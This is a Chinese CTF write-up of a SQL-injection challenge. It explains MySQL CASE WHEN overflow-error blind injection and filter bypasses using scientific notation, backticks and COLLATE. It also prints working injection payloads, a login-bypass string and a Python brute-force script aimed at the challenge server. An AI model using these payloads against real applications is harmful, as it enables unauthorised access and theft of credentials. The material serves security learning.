虎符的一道纯SQL注入题,原来准备自己再做一遍的,结果今天题目环境给关了,都怪周一课太多了 自己太懒。

学到了一些奇特的绕过姿势。

学到的东西

case when 的错误注入

case when用法

官方文档中解释:

  • CASE value WHEN [compare-value] THEN result [WHEN [compare-value] THEN result …] [ELSE result] END CASE WHEN [condition] THEN result [WHEN [condition] THEN result …] [ELSE result] END

(必须要有END结尾)

在第一个方案的返回结果中, value=compare-value。而第二个方案的返回结果是第一种情况的真实结果。如果没有匹配的结果值,则返回结果为ELSE后的结果,如果没有ELSE 部分,则返回值为 NULL。

例:

mysql> SELECT CASE 1 WHEN 1 THEN 'one'

    ->     WHEN 2 THEN 'two' ELSE 'more' END;

        -> 'one'

mysql> SELECT CASE WHEN 1>0 THEN 'true' ELSE 'false' END;

        -> 'true'

mysql> SELECT CASE BINARY 'B'

    ->     WHEN 'a' THEN 1 WHEN 'b' THEN 2 END;

        -> NULL

一个CASE表达式的默认返回值类型是任何返回值的相容集合类型,但具体情况视其所在语境而定。如果用在字符串语境中,则返回结果味字符串。如果用在数字语境中,则返回结果为十进制值、实值或整数值。

简单来说就是对应CASE后的值匹配WHEN后的值,匹配成功则返回WHEN后THEN中的内容(注意:执行完THEN后即跳出,不会执行后面的THEN)。若都未匹配则返回ELSE的值,若还没有则返回NULL。

在SQL注入中的使用

通常当题目需要盲注但过滤了if()或括号等使得无法使用函数时,case when就派上用场了,对于基于报错的盲注又可以和溢出导致的报错相结合来使用。

假如有这样一个表

mysql> SELECT * FROM tb;
+-------------------+------+
| flag              | id   |
+-------------------+------+
| flag{test_f1llag} |    1 |
+-------------------+------+
1 row in set (0.00 sec)
mysql> SELECT id FROM tb WHERE id=0 || CASE 1 WHEN flag REGEXP '^f' THEN 1 ELSE 1+~0 	   END;
+------+
| id   |
+------+
|    1 |
+------+
1 row in set (0.00 sec)

不使用if判断第一个flag第一个字符是否为’f’,如果是则返回 1(true),若不是则报出溢出错误

mysql> SELECT id FROM tb WHERE id=0 || CASE 1 WHEN flag REGEXP '^a' THEN 1 ELSE 1+~0 		END;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

(这里 ~ 为取反操作符,0 取反即为最大值,再加 1 溢出报错)

这样可以使用基于报错的盲注来爆破flag。(未使用if()等函数)。case when 可以对应题目来进行修改达到目的。

科学计数法和单(反)引号绕过

当过滤了空格时可以使用科学计数法和单引号进行绕过

还是上面的例子,可以构造这样的语句

mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;
+------+
| id   |
+------+
|    1 |
+------+
1 row in set (0.00 sec)

mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^a'THEN+1e0ELSE~0e0+~0e0END;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'

可以看到语句没有用到空格但可以执行,下面的(~0e0+~0e0)注意用算符优先级,~优先级最高,同时注意 1E0+~0是不会报溢出错误的,因为使用了科学计数法,范围增大了。

mysql> select 1E0+~0;
+-----------------------+
| 1E0+~0                |
+-----------------------+
| 1.8446744073709552e19 |
+-----------------------+
1 row in set (0.00 sec)

regexp,like的区分大小写的使用方法

参考文档

mysql> SELECT 'abc' LIKE 'ABC';
        -> 1
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_0900_as_cs;
        -> 0
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_bin;
        -> 0
mysql> SELECT 'abc' LIKE BINARY 'ABC';
        -> 0

还是利用上述实列

mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP+BINARY'^F'THEN+1e0ELSE~0e0+~0e0ENDD;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'

mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^F'COLLATE'utf8mb4_bin'THEN+1e0ELSE~0e0+~0e0ENDD;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'

这里REGEXP和BINARY之间可以使用+分隔,和+1E0方法类似

utf8mb4_bin可以用单引号包起来

题目

image-20220321215649470

已经说了是纯SQL注入题了

题目给了源码

CREATE TABLE `auth` (
  `id` int NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(32) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';

export class User {
  id: number;
  username: string;
}

function safe(str: string): string {
  const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();
  return r;
}
//正则这里\s表示所有空白字符比如空格,tab,%00等
///^.*(?=union|binary).*$/gi表示匹配所有包含union和binary的字符串

@Injectable()
export class AuthService {
  constructor(private connectionProvider: ConnectionProvider) {}

  async validateUser(username: string, password: string): Promise<User> | null {
    const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
    const [rows] = await this.connectionProvider.use((c) => c.query(sql));
    const user = rows[0];
    if (user && user.password === password) {
      // eslint-disable-next-line @typescript-eslint/no-unused-vars
      const { password, ...result } = user;
      return result;
    }
    return null;
  }
}

过滤了非常多的东西,用到的绕过姿势就是上述方法。

盲注 然后用 case when 的错误注入

用科学计数法绕一半, 用单反引号绕一半

username=1'||case+1E0when`password`regexp'^m52FPlDxYyLB.eIzAr!8gxh.$'then+1E0else~0E0+~0E0end||'0&password=123

写脚本爆破一下密码

import requests
import time

session = requests.session()

burp0_url = "http://47.107.231.226:30631/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0",
                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
                 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate",
                 "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://47.107.231.226:30631", "Connection": "close", "Referer": "http://47.107.231.226:30631/",
                 "Upgrade-Insecure-Requests": "1"}

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!.@%&*{}[]_-^/"
password = '^'

while True:
    for i in alphabet:
        burp0_data = {"username": f"1'||case+1E0when`password`regexp'{password + i}'COLLATE'utf8mb4_bin'then+1E0else+!0E0+~0+!0E0end||'0", "password": "6878"}
        r = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
        if r.status_code == 401:
            print(i)
            password += i
            break
        time.sleep(0.3)
    print(password)

得到密码

m52FPlDxYyLB.eIzAr!8gxh.

由于sql语句中使用了regexp正则匹配所以得到的密码中的 . 是某个特殊字符,对这两个点爆破一下就行了。(同样这里也可以使用like)

同时username使用万能密码'or'1'or'0绕过 (注意空格被过滤了, 单引号用于闭合)。

bp爆破拿到flag。

image